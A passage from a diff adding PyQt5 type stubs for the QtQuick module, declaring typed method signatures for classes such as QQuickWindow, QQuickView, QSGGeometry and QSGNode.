def width(self) -> float: ... + def setY(self, a0: float) -> None: ... + def setX(self, a0: float) -> None: ... + def y(self) -> float: ... + def x(self) -> float: ... + def setBaselineOffset(self, a0: float) -> None: ... + def baselineOffset(self) -> float: ... + def setState(self, a0: str) -> None: ... + def state(self) -> str: ... + def setClip(self, a0: bool) -> None: ... + def clip(self) -> bool: ... + def childItems(self) -> typing.List['QQuickItem']: ... + def childrenRect(self) -> QtCore.QRectF: ... + def stackAfter(self, a0: 'QQuickItem') -> None: ... + def stackBefore(self, a0: 'QQuickItem') -> None: ... + def setParentItem(self, parent: 'QQuickItem') -> None: ... + def parentItem(self) -> 'QQuickItem': ... + def window(self) -> 'QQuickWindow': ... + + +class QQuickFramebufferObject(QQuickItem): + + class Renderer(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuickFramebufferObject.Renderer') -> None: ... + + def invalidateFramebufferObject(self) -> None: ... + def update(self) -> None: ... + def framebufferObject(self) -> QtGui.QOpenGLFramebufferObject: ... + def synchronize(self, a0: 'QQuickFramebufferObject') -> None: ... + def createFramebufferObject(self, size: QtCore.QSize) -> QtGui.QOpenGLFramebufferObject: ... + def render(self) -> None: ... + + def __init__(self, parent: typing.Optional[QQuickItem] = ...) -> None: ... + + def mirrorVerticallyChanged(self, a0: bool) -> None: ... + def setMirrorVertically(self, enable: bool) -> None: ... + def mirrorVertically(self) -> bool: ... + def releaseResources(self) -> None: ... + def textureProvider(self) -> 'QSGTextureProvider': ... + def isTextureProvider(self) -> bool: ... + def textureFollowsItemSizeChanged(self, a0: bool) -> None: ... + def updatePaintNode(self, a0: 'QSGNode', a1: QQuickItem.UpdatePaintNodeData) -> 'QSGNode': ... + def geometryChanged(self, newGeometry: QtCore.QRectF, oldGeometry: QtCore.QRectF) -> None: ... + def createRenderer(self) -> 'QQuickFramebufferObject.Renderer': ... + def setTextureFollowsItemSize(self, follows: bool) -> None: ... + def textureFollowsItemSize(self) -> bool: ... + + +class QQuickTextureFactory(QtCore.QObject): + + def __init__(self) -> None: ... + + @staticmethod + def textureFactoryForImage(image: QtGui.QImage) -> 'QQuickTextureFactory': ... + def image(self) -> QtGui.QImage: ... + def textureByteCount(self) -> int: ... + def textureSize(self) -> QtCore.QSize: ... + def createTexture(self, window: 'QQuickWindow') -> 'QSGTexture': ... + + +class QQuickImageProvider(QtQml.QQmlImageProviderBase): + + @typing.overload + def __init__(self, type: QtQml.QQmlImageProviderBase.ImageType, flags: typing.Union[QtQml.QQmlImageProviderBase.Flags, QtQml.QQmlImageProviderBase.Flag] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuickImageProvider') -> None: ... + + def requestTexture(self, id: str, requestedSize: QtCore.QSize) -> typing.Tuple[QQuickTextureFactory, QtCore.QSize]: ... + def requestPixmap(self, id: str, requestedSize: QtCore.QSize) -> typing.Tuple[QtGui.QPixmap, QtCore.QSize]: ... + def requestImage(self, id: str, requestedSize: QtCore.QSize) -> typing.Tuple[QtGui.QImage, QtCore.QSize]: ... + def flags(self) -> QtQml.QQmlImageProviderBase.Flags: ... + def imageType(self) -> QtQml.QQmlImageProviderBase.ImageType: ... + + +class QQuickImageResponse(QtCore.QObject): + + def __init__(self) -> None: ... + + def finished(self) -> None: ... + def cancel(self) -> None: ... + def errorString(self) -> str: ... + def textureFactory(self) -> QQuickTextureFactory: ... + + +class QQuickAsyncImageProvider(QQuickImageProvider): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuickAsyncImageProvider') -> None: ... + + def requestImageResponse(self, id: str, requestedSize: QtCore.QSize) -> QQuickImageResponse: ... + + +class QQuickItemGrabResult(QtCore.QObject): + + def ready(self) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def saveToFile(self, fileName: str) -> bool: ... + def url(self) -> QtCore.QUrl: ... + def image(self) -> QtGui.QImage: ... + + +class QQuickPaintedItem(QQuickItem): + + class PerformanceHint(int): + FastFBOResizing = ... # type: QQuickPaintedItem.PerformanceHint + + class RenderTarget(int): + Image = ... # type: QQuickPaintedItem.RenderTarget + FramebufferObject = ... # type: QQuickPaintedItem.RenderTarget + InvertedYFramebufferObject = ... # type: QQuickPaintedItem.RenderTarget + + class PerformanceHints(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QQuickPaintedItem.PerformanceHints', 'QQuickPaintedItem.PerformanceHint']) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuickPaintedItem.PerformanceHints') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QQuickPaintedItem.PerformanceHints': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QQuickItem] = ...) -> None: ... + + def textureSizeChanged(self) -> None: ... + def setTextureSize(self, size: QtCore.QSize) -> None: ... + def textureSize(self) -> QtCore.QSize: ... + def itemChange(self, a0: QQuickItem.ItemChange, a1: QQuickItem.ItemChangeData) -> None: ... + def releaseResources(self) -> None: ... + def textureProvider(self) -> 'QSGTextureProvider': ... + def isTextureProvider(self) -> bool: ... + def updatePaintNode(self, a0: 'QSGNode', a1: QQuickItem.UpdatePaintNodeData) -> 'QSGNode': ... + def renderTargetChanged(self) -> None: ... + def contentsScaleChanged(self) -> None: ... + def contentsSizeChanged(self) -> None: ... + def fillColorChanged(self) -> None: ... + def paint(self, painter: QtGui.QPainter) -> None: ... + def setRenderTarget(self, target: 'QQuickPaintedItem.RenderTarget') -> None: ... + def renderTarget(self) -> 'QQuickPaintedItem.RenderTarget': ... + def setFillColor(self, a0: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def fillColor(self) -> QtGui.QColor: ... + def setContentsScale(self, a0: float) -> None: ... + def contentsScale(self) -> float: ... + def resetContentsSize(self) -> None: ... + def setContentsSize(self, a0: QtCore.QSize) -> None: ... + def contentsSize(self) -> QtCore.QSize: ... + def contentsBoundingRect(self) -> QtCore.QRectF: ... + def setPerformanceHints(self, hints: typing.Union['QQuickPaintedItem.PerformanceHints', 'QQuickPaintedItem.PerformanceHint']) -> None: ... + def setPerformanceHint(self, hint: 'QQuickPaintedItem.PerformanceHint', enabled: bool = ...) -> None: ... + def performanceHints(self) -> 'QQuickPaintedItem.PerformanceHints': ... + def setMipmap(self, enable: bool) -> None: ... + def mipmap(self) -> bool: ... + def setAntialiasing(self, enable: bool) -> None: ... + def antialiasing(self) -> bool: ... + def setOpaquePainting(self, opaque: bool) -> None: ... + def opaquePainting(self) -> bool: ... + def update(self, rect: QtCore.QRect = ...) -> None: ... + + +class QQuickRenderControl(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def sceneChanged(self) -> None: ... + def renderRequested(self) -> None: ... + def prepareThread(self, targetThread: QtCore.QThread) -> None: ... + def renderWindow(self, offset: QtCore.QPoint) -> QtGui.QWindow: ... + @staticmethod + def renderWindowFor(win: 'QQuickWindow', offset: typing.Optional[QtCore.QPoint] = ...) -> QtGui.QWindow: ... + def grab(self) -> QtGui.QImage: ... + def sync(self) -> bool: ... + def render(self) -> None: ... + def polishItems(self) -> None: ... + def invalidate(self) -> None: ... + def initialize(self, gl: QtGui.QOpenGLContext) -> None: ... + + +class QQuickTextDocument(QtCore.QObject): + + def __init__(self, parent: QQuickItem) -> None: ... + + def textDocument(self) -> QtGui.QTextDocument: ... + + +class QQuickWindow(QtGui.QWindow): + + class NativeObjectType(int): + NativeObjectTexture = ... # type: QQuickWindow.NativeObjectType + + class TextRenderType(int): + QtTextRendering = ... # type: QQuickWindow.TextRenderType + NativeTextRendering = ... # type: QQuickWindow.TextRenderType + + class RenderStage(int): + BeforeSynchronizingStage = ... # type: QQuickWindow.RenderStage + AfterSynchronizingStage = ... # type: QQuickWindow.RenderStage + BeforeRenderingStage = ... # type: QQuickWindow.RenderStage + AfterRenderingStage = ... # type: QQuickWindow.RenderStage + AfterSwapStage = ... # type: QQuickWindow.RenderStage + NoStage = ... # type: QQuickWindow.RenderStage + + class SceneGraphError(int): + ContextNotAvailable = ... # type: QQuickWindow.SceneGraphError + + class CreateTextureOption(int): + TextureHasAlphaChannel = ... # type: QQuickWindow.CreateTextureOption + TextureHasMipmaps = ... # type: QQuickWindow.CreateTextureOption + TextureOwnsGLTexture = ... # type: QQuickWindow.CreateTextureOption + TextureCanUseAtlas = ... # type: QQuickWindow.CreateTextureOption + TextureIsOpaque = ... # type: QQuickWindow.CreateTextureOption + + class CreateTextureOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QQuickWindow.CreateTextureOptions', 'QQuickWindow.CreateTextureOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuickWindow.CreateTextureOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QQuickWindow.CreateTextureOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtGui.QWindow] = ...) -> None: ... + + def afterRenderPassRecording(self) -> None: ... + def beforeRenderPassRecording(self) -> None: ... + def endExternalCommands(self) -> None: ... + def beginExternalCommands(self) -> None: ... + @staticmethod + def setTextRenderType(renderType: 'QQuickWindow.TextRenderType') -> None: ... + @staticmethod + def textRenderType() -> 'QQuickWindow.TextRenderType': ... + @staticmethod + def sceneGraphBackend() -> str: ... + def createImageNode(self) -> 'QSGImageNode': ... + def createRectangleNode(self) -> 'QSGRectangleNode': ... + @typing.overload + @staticmethod + def setSceneGraphBackend(api: 'QSGRendererInterface.GraphicsApi') -> None: ... + @typing.overload + @staticmethod + def setSceneGraphBackend(backend: str) -> None: ... + def rendererInterface(self) -> 'QSGRendererInterface': ... + def isSceneGraphInitialized(self) -> bool: ... + def effectiveDevicePixelRatio(self) -> float: ... + def scheduleRenderJob(self, job: QtCore.QRunnable, schedule: 'QQuickWindow.RenderStage') -> None: ... + def sceneGraphError(self, error: 'QQuickWindow.SceneGraphError', message: str) -> None: ... + def sceneGraphAboutToStop(self) -> None: ... + def afterAnimating(self) -> None: ... + def afterSynchronizing(self) -> None: ... + def openglContextCreated(self, context: QtGui.QOpenGLContext) -> None: ... + def resetOpenGLState(self) -> None: ... + def activeFocusItemChanged(self) -> None: ... + def closing(self, close: 'QQuickCloseEvent') -> None: ... + @staticmethod + def setDefaultAlphaBuffer(useAlpha: bool) -> None: ... + @staticmethod + def hasDefaultAlphaBuffer() -> bool: ... + def tabletEvent(self, a0: QtGui.QTabletEvent) -> None: ... + def wheelEvent(self, a0: QtGui.QWheelEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseDoubleClickEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def keyReleaseEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def focusOutEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def hideEvent(self, a0: QtGui.QHideEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def exposeEvent(self, a0: QtGui.QExposeEvent) -> None: ... + def releaseResources(self) -> None: ... + def update(self) -> None: ... + def colorChanged(self, a0: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def afterRendering(self) -> None: ... + def beforeRendering(self) -> None: ... + def beforeSynchronizing(self) -> None: ... + def sceneGraphInvalidated(self) -> None: ... + def sceneGraphInitialized(self) -> None: ... + def frameSwapped(self) -> None: ... + def openglContext(self) -> QtGui.QOpenGLContext: ... + def isPersistentSceneGraph(self) -> bool: ... + def setPersistentSceneGraph(self, persistent: bool) -> None: ... + def isPersistentOpenGLContext(self) -> bool: ... + def setPersistentOpenGLContext(self, persistent: bool) -> None: ... + def color(self) -> QtGui.QColor: ... + def setColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def clearBeforeRendering(self) -> bool: ... + def setClearBeforeRendering(self, enabled: bool) -> None: ... + def createTextureFromNativeObject(self, type: 'QQuickWindow.NativeObjectType', nativeObjectPtr: PyQt5.sip.voidptr, nativeLayout: int, size: QtCore.QSize, options: typing.Union['QQuickWindow.CreateTextureOptions', 'QQuickWindow.CreateTextureOption'] = ...) -> 'QSGTexture': ... + def createTextureFromId(self, id: int, size: QtCore.QSize, options: typing.Union['QQuickWindow.CreateTextureOptions', 'QQuickWindow.CreateTextureOption'] = ...) -> 'QSGTexture': ... + @typing.overload + def createTextureFromImage(self, image: QtGui.QImage) -> 'QSGTexture': ... + @typing.overload + def createTextureFromImage(self, image: QtGui.QImage, options: typing.Union['QQuickWindow.CreateTextureOptions', 'QQuickWindow.CreateTextureOption']) -> 'QSGTexture': ... + def incubationController(self) -> QtQml.QQmlIncubationController: ... + def renderTargetSize(self) -> QtCore.QSize: ... + def renderTargetId(self) -> int: ... + def renderTarget(self) -> QtGui.QOpenGLFramebufferObject: ... + @typing.overload + def setRenderTarget(self, fbo: QtGui.QOpenGLFramebufferObject) -> None: ... + @typing.overload + def setRenderTarget(self, fboId: int, size: QtCore.QSize) -> None: ... + def grabWindow(self) -> QtGui.QImage: ... + def sendEvent(self, a0: QQuickItem, a1: QtCore.QEvent) -> bool: ... + def mouseGrabberItem(self) -> QQuickItem: ... + def focusObject(self) -> QtCore.QObject: ... + def activeFocusItem(self) -> QQuickItem: ... + def contentItem(self) -> QQuickItem: ... + + +class QQuickView(QQuickWindow): + + class Status(int): + Null = ... # type: QQuickView.Status + Ready = ... # type: QQuickView.Status + Loading = ... # type: QQuickView.Status + Error = ... # type: QQuickView.Status + + class ResizeMode(int): + SizeViewToRootObject = ... # type: QQuickView.ResizeMode + SizeRootObjectToView = ... # type: QQuickView.ResizeMode + + @typing.overload + def __init__(self, parent: typing.Optional[QtGui.QWindow] = ...) -> None: ... + @typing.overload + def __init__(self, engine: QtQml.QQmlEngine, parent: QtGui.QWindow) -> None: ... + @typing.overload + def __init__(self, source: QtCore.QUrl, parent: typing.Optional[QtGui.QWindow] = ...) -> None: ... + + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def keyReleaseEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def statusChanged(self, a0: 'QQuickView.Status') -> None: ... + def setInitialProperties(self, initialProperties: typing.Dict[str, typing.Any]) -> None: ... + def setSource(self, a0: QtCore.QUrl) -> None: ... + def initialSize(self) -> QtCore.QSize: ... + def errors(self) -> typing.List[QtQml.QQmlError]: ... + def status(self) -> 'QQuickView.Status': ... + def setResizeMode(self, a0: 'QQuickView.ResizeMode') -> None: ... + def resizeMode(self) -> 'QQuickView.ResizeMode': ... + def rootObject(self) -> QQuickItem: ... + def rootContext(self) -> QtQml.QQmlContext: ... + def engine(self) -> QtQml.QQmlEngine: ... + def source(self) -> QtCore.QUrl: ... + + +class QQuickCloseEvent(sip.simplewrapper): ... + + +class QSGAbstractRenderer(QtCore.QObject): + + class MatrixTransformFlag(int): + MatrixTransformFlipY = ... # type: QSGAbstractRenderer.MatrixTransformFlag + + class ClearModeBit(int): + ClearColorBuffer = ... # type: QSGAbstractRenderer.ClearModeBit + ClearDepthBuffer = ... # type: QSGAbstractRenderer.ClearModeBit + ClearStencilBuffer = ... # type: QSGAbstractRenderer.ClearModeBit + + class ClearMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGAbstractRenderer.ClearMode', 'QSGAbstractRenderer.ClearModeBit']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGAbstractRenderer.ClearMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGAbstractRenderer.ClearMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class MatrixTransformFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGAbstractRenderer.MatrixTransformFlags', 'QSGAbstractRenderer.MatrixTransformFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGAbstractRenderer.MatrixTransformFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGAbstractRenderer.MatrixTransformFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def sceneGraphChanged(self) -> None: ... + def renderScene(self, fboId: int = ...) -> None: ... + def clearMode(self) -> 'QSGAbstractRenderer.ClearMode': ... + def setClearMode(self, mode: typing.Union['QSGAbstractRenderer.ClearMode', 'QSGAbstractRenderer.ClearModeBit']) -> None: ... + def clearColor(self) -> QtGui.QColor: ... + def setClearColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def projectionMatrix(self) -> QtGui.QMatrix4x4: ... + def setProjectionMatrix(self, matrix: QtGui.QMatrix4x4) -> None: ... + @typing.overload + def setProjectionMatrixToRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setProjectionMatrixToRect(self, rect: QtCore.QRectF, flags: typing.Union['QSGAbstractRenderer.MatrixTransformFlags', 'QSGAbstractRenderer.MatrixTransformFlag']) -> None: ... + def viewportRect(self) -> QtCore.QRect: ... + @typing.overload + def setViewportRect(self, rect: QtCore.QRect) -> None: ... + @typing.overload + def setViewportRect(self, size: QtCore.QSize) -> None: ... + def deviceRect(self) -> QtCore.QRect: ... + @typing.overload + def setDeviceRect(self, rect: QtCore.QRect) -> None: ... + @typing.overload + def setDeviceRect(self, size: QtCore.QSize) -> None: ... + + +class QSGEngine(QtCore.QObject): + + class CreateTextureOption(int): + TextureHasAlphaChannel = ... # type: QSGEngine.CreateTextureOption + TextureOwnsGLTexture = ... # type: QSGEngine.CreateTextureOption + TextureCanUseAtlas = ... # type: QSGEngine.CreateTextureOption + TextureIsOpaque = ... # type: QSGEngine.CreateTextureOption + + class CreateTextureOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGEngine.CreateTextureOptions', 'QSGEngine.CreateTextureOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGEngine.CreateTextureOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGEngine.CreateTextureOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def createImageNode(self) -> 'QSGImageNode': ... + def createRectangleNode(self) -> 'QSGRectangleNode': ... + def rendererInterface(self) -> 'QSGRendererInterface': ... + def createTextureFromId(self, id: int, size: QtCore.QSize, options: typing.Union['QSGEngine.CreateTextureOptions', 'QSGEngine.CreateTextureOption'] = ...) -> 'QSGTexture': ... + def createTextureFromImage(self, image: QtGui.QImage, options: typing.Union['QSGEngine.CreateTextureOptions', 'QSGEngine.CreateTextureOption'] = ...) -> 'QSGTexture': ... + def createRenderer(self) -> QSGAbstractRenderer: ... + def invalidate(self) -> None: ... + def initialize(self, context: QtGui.QOpenGLContext) -> None: ... + + +class QSGMaterial(PyQt5.sip.wrapper): + + class Flag(int): + Blending = ... # type: QSGMaterial.Flag + RequiresDeterminant = ... # type: QSGMaterial.Flag + RequiresFullMatrixExceptTranslate = ... # type: QSGMaterial.Flag + RequiresFullMatrix = ... # type: QSGMaterial.Flag + CustomCompileStep = ... # type: QSGMaterial.Flag + SupportsRhiShader = ... # type: QSGMaterial.Flag + RhiShaderWanted = ... # type: QSGMaterial.Flag + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGMaterial.Flags', 'QSGMaterial.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterial.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGMaterial.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self) -> None: ... + + def setFlag(self, flags: typing.Union['QSGMaterial.Flags', 'QSGMaterial.Flag'], enabled: bool = ...) -> None: ... + def flags(self) -> 'QSGMaterial.Flags': ... + def compare(self, other: 'QSGMaterial') -> int: ... + def createShader(self) -> 'QSGMaterialShader': ... + def type(self) -> 'QSGMaterialType': ... + + +class QSGFlatColorMaterial(QSGMaterial): + + def __init__(self) -> None: ... + + def compare(self, other: QSGMaterial) -> int: ... + def color(self) -> QtGui.QColor: ... + def setColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def createShader(self) -> 'QSGMaterialShader': ... + def type(self) -> 'QSGMaterialType': ... + + +class QSGGeometry(PyQt5.sip.wrapper): + + class Type(int): + ByteType = ... # type: QSGGeometry.Type + UnsignedByteType = ... # type: QSGGeometry.Type + ShortType = ... # type: QSGGeometry.Type + UnsignedShortType = ... # type: QSGGeometry.Type + IntType = ... # type: QSGGeometry.Type + UnsignedIntType = ... # type: QSGGeometry.Type + FloatType = ... # type: QSGGeometry.Type + Bytes2Type = ... # type: QSGGeometry.Type + Bytes3Type = ... # type: QSGGeometry.Type + Bytes4Type = ... # type: QSGGeometry.Type + DoubleType = ... # type: QSGGeometry.Type + + class DrawingMode(int): + DrawPoints = ... # type: QSGGeometry.DrawingMode + DrawLines = ... # type: QSGGeometry.DrawingMode + DrawLineLoop = ... # type: QSGGeometry.DrawingMode + DrawLineStrip = ... # type: QSGGeometry.DrawingMode + DrawTriangles = ... # type: QSGGeometry.DrawingMode + DrawTriangleStrip = ... # type: QSGGeometry.DrawingMode + DrawTriangleFan = ... # type: QSGGeometry.DrawingMode + + class AttributeType(int): + UnknownAttribute = ... # type: QSGGeometry.AttributeType + PositionAttribute = ... # type: QSGGeometry.AttributeType + ColorAttribute = ... # type: QSGGeometry.AttributeType + TexCoordAttribute = ... # type: QSGGeometry.AttributeType + TexCoord1Attribute = ... # type: QSGGeometry.AttributeType + TexCoord2Attribute = ... # type: QSGGeometry.AttributeType + + class DataPattern(int): + AlwaysUploadPattern = ... # type: QSGGeometry.DataPattern + StreamPattern = ... # type: QSGGeometry.DataPattern + DynamicPattern = ... # type: QSGGeometry.DataPattern + StaticPattern = ... # type: QSGGeometry.DataPattern + + GL_POINTS = ... # type: int + GL_LINES = ... # type: int + GL_LINE_LOOP = ... # type: int + GL_LINE_STRIP = ... # type: int + GL_TRIANGLES = ... # type: int + GL_TRIANGLE_STRIP = ... # type: int + GL_TRIANGLE_FAN = ... # type: int + + GL_BYTE = ... # type: int + GL_DOUBLE = ... # type: int + GL_FLOAT = ... # type: int + GL_INT = ... # type: int + + class Attribute(sip.simplewrapper): + + attributeType = ... # type: 'QSGGeometry.AttributeType' + isVertexCoordinate = ... # type: int + position = ... # type: int + tupleSize = ... # type: int + type = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGGeometry.Attribute') -> None: ... + + @staticmethod + def createWithAttributeType(pos: int, tupleSize: int, primitiveType: int, attributeType: 'QSGGeometry.AttributeType') -> 'QSGGeometry.Attribute': ... + @staticmethod + def create(pos: int, tupleSize: int, primitiveType: int, isPosition: bool = ...) -> 'QSGGeometry.Attribute': ... + + class AttributeSet(sip.simplewrapper): + + attributes = ... # type: PyQt5.sip.array[QSGGeometry.Attribute] + count = ... # type: int + stride = ... # type: int + + def __init__(self, attributes: typing.Iterable['QSGGeometry.Attribute'], stride: int = ...) -> None: ... + + class Point2D(sip.simplewrapper): + + x = ... # type: float + y = ... # type: float + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGGeometry.Point2D') -> None: ... + + def set(self, nx: float, ny: float) -> None: ... + + class TexturedPoint2D(sip.simplewrapper): + + tx = ... # type: float + ty = ... # type: float + x = ... # type: float + y = ... # type: float + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGGeometry.TexturedPoint2D') -> None: ... + + def set(self, nx: float, ny: float, ntx: float, nty: float) -> None: ... + + class ColoredPoint2D(sip.simplewrapper): + + a = ... # type: int + b = ... # type: int + g = ... # type: int + r = ... # type: int + x = ... # type: float + y = ... # type: float + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGGeometry.ColoredPoint2D') -> None: ... + + def set(self, nx: float, ny: float, nr: int, ng: int, nb: int, na: int) -> None: ... + + def __init__(self, attribs: 'QSGGeometry.AttributeSet', vertexCount: int, indexCount: int = ..., indexType: int = ...) -> None: ... + + @staticmethod + def updateColoredRectGeometry(g: 'QSGGeometry', rect: QtCore.QRectF) -> None: ... + def sizeOfIndex(self) -> int: ... + def vertexDataAsColoredPoint2D(self) -> PyQt5.sip.array[QSGGeometry.ColoredPoint2D]: ... + def vertexDataAsTexturedPoint2D(self) -> PyQt5.sip.array[QSGGeometry.TexturedPoint2D]: ... + def vertexDataAsPoint2D(self) -> PyQt5.sip.array[QSGGeometry.Point2D]: ... + def indexDataAsUShort(self) -> PyQt5.sip.array[int]: ... + def indexDataAsUInt(self) -> PyQt5.sip.array[int]: ... + def setLineWidth(self, w: float) -> None: ... + def lineWidth(self) -> float: ... + def markVertexDataDirty(self) -> None: ... + def markIndexDataDirty(self) -> None: ... + def vertexDataPattern(self) -> 'QSGGeometry.DataPattern': ... + def setVertexDataPattern(self, p: 'QSGGeometry.DataPattern') -> None: ... + def indexDataPattern(self) -> 'QSGGeometry.DataPattern': ... + def setIndexDataPattern(self, p: 'QSGGeometry.DataPattern') -> None: ... + @staticmethod + def updateTexturedRectGeometry(g: 'QSGGeometry', rect: QtCore.QRectF, sourceRect: QtCore.QRectF) -> None: ... + @staticmethod + def updateRectGeometry(g: 'QSGGeometry', rect: QtCore.QRectF) -> None: ... + def sizeOfVertex(self) -> int: ... + def attributes(self) -> PyQt5.sip.array[QSGGeometry.Attribute]: ... + def attributeCount(self) -> int: ... + def indexData(self) -> PyQt5.sip.voidptr: ... + def indexCount(self) -> int: ... + def indexType(self) -> int: ... + def vertexData(self) -> PyQt5.sip.voidptr: ... + def vertexCount(self) -> int: ... + def allocate(self, vertexCount: int, indexCount: int = ...) -> None: ... + def drawingMode(self) -> int: ... + def setDrawingMode(self, mode: int) -> None: ... + @staticmethod + def defaultAttributes_ColoredPoint2D() -> 'QSGGeometry.AttributeSet': ... + @staticmethod + def defaultAttributes_TexturedPoint2D() -> 'QSGGeometry.AttributeSet': ... + @staticmethod + def defaultAttributes_Point2D() -> 'QSGGeometry.AttributeSet': ... + + +class QSGNode(PyQt5.sip.wrapper): + + class DirtyStateBit(int): + DirtyMatrix = ... # type: QSGNode.DirtyStateBit + DirtyNodeAdded = ... # type: QSGNode.DirtyStateBit + DirtyNodeRemoved = ... # type: QSGNode.DirtyStateBit + DirtyGeometry = ... # type: QSGNode.DirtyStateBit + DirtyMaterial = ... # type: QSGNode.DirtyStateBit + DirtyOpacity = ... # type: QSGNode.DirtyStateBit + + class Flag(int): + OwnedByParent = ... # type: QSGNode.Flag + UsePreprocess = ... # type: QSGNode.Flag + OwnsGeometry = ... # type: QSGNode.Flag + OwnsMaterial = ... # type: QSGNode.Flag + OwnsOpaqueMaterial = ... # type: QSGNode.Flag + + class NodeType(int): + BasicNodeType = ... # type: QSGNode.NodeType + GeometryNodeType = ... # type: QSGNode.NodeType + TransformNodeType = ... # type: QSGNode.NodeType + ClipNodeType = ... # type: QSGNode.NodeType + OpacityNodeType = ... # type: QSGNode.NodeType + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGNode.Flags', 'QSGNode.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGNode.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGNode.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class DirtyState(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGNode.DirtyState', 'QSGNode.DirtyStateBit']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGNode.DirtyState') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGNode.DirtyState': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self) -> None: ... + + def preprocess(self) -> None: ... + def setFlags(self, a0: typing.Union['QSGNode.Flags', 'QSGNode.Flag'], enabled: bool = ...) -> None: ... + def setFlag(self, a0: 'QSGNode.Flag', enabled: bool = ...) -> None: ... + def flags(self) -> 'QSGNode.Flags': ... + def isSubtreeBlocked(self) -> bool: ... + def markDirty(self, bits: typing.Union['QSGNode.DirtyState', 'QSGNode.DirtyStateBit']) -> None: ... + def type(self) -> 'QSGNode.NodeType': ... + def previousSibling(self) -> 'QSGNode': ... + def nextSibling(self) -> 'QSGNode': ... + def lastChild(self) -> 'QSGNode': ... + def 